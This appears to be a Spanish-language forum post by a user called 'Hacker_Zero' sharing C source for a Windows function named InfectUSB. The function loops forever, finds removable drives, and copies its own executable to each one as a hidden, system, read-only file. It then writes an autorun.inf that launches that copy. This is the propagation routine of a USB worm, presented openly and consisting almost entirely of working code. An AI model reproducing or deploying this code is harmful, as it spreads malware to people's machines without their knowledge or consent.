Código: Seleccionar todo
////////////////////////////////////////////////////////////////
//Autor: Hacker_Zero
//Web: http://www.eduhack.es
//Descripcion: Función que infecta unidades extraíbles con
//un autorun y un ejecutable
/////////////////////////////////////////////////////////////////////////
void InfectUSB()
{
//String con el contenido del AutoRun
LPSTR txtAutoRun="[autorun]\nshellexecute=miBicho.exe\nUseAutoPlay=1";
DWORD dwBytes;
LPSTR AppName=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
GetModuleFileName(0,AppName,MAX_PATH);
LPSTR lpUnidades=(LPSTR)GlobalAlloc(GPTR,512);
while(1)
{
//La API devuelve la longitud de la cadena
DWORD numUnidades=GetLogicalDriveStringsA(512,lpUnidades);
//Dividimos la longitud de la cadena entre 4 para obtener el número de unidades
//Ej: 'A:\{nulo}B:\{nulo}C:\{nulo}{nulo}'
numUnidades=numUnidades/4;
//Hacemos backup del puntero para ir desplazandonos por él
LPSTR lpTemp=lpUnidades;
for(DWORD i=0;i<numUnidades;i++)
{
//Comprobamos si la unidad es extraíble y que no se trate de una disquetera
if((GetDriveType(lpTemp) == DRIVE_REMOVABLE && lpTemp[0]!='A'))
{
//Creamos las rutas para el Worm y el Autorun
LPSTR WormPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(WormPath,lpTemp);
lstrcat(WormPath,"miBicho.exe");
LPSTR AutorunPath=(LPSTR)GlobalAlloc(GPTR,MAX_PATH);
lstrcat(AutorunPath,lpTemp);
lstrcat(AutorunPath,"autorun.inf");
if(!PathFileExistsA(WormPath))
{
//Copiamos el worm al usb
CopyFileA(AppName,WormPath,FALSE);
//Ponemos atributos de oculto, de sistema y de sólo lectura al worm
SetFileAttributesA(WormPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
//Creamos el AutoRun
HANDLE hFile=CreateFileA(AutorunPath,GENERIC_WRITE,0,0,CREATE_ALWAYS,0,0);
DWORD szAutoRun=lstrlenA(txtAutoRun);
WriteFile(hFile,txtAutoRun,szAutoRun,&dwBytes,0);
CloseHandle(hFile);
//Ponemos atributos de oculto, de sistema y de sólo lectura al autorun
SetFileAttributesA(AutorunPath,FILE_ATTRIBUTE_HIDDEN+FILE_ATTRIBUTE_SYSTEM+FILE_ATTRIBUTE_READONLY);
}
}
lpTemp=lpTemp+4;
}
GlobalFree(lpTemp);
Sleep(2000);
}
}
Saludos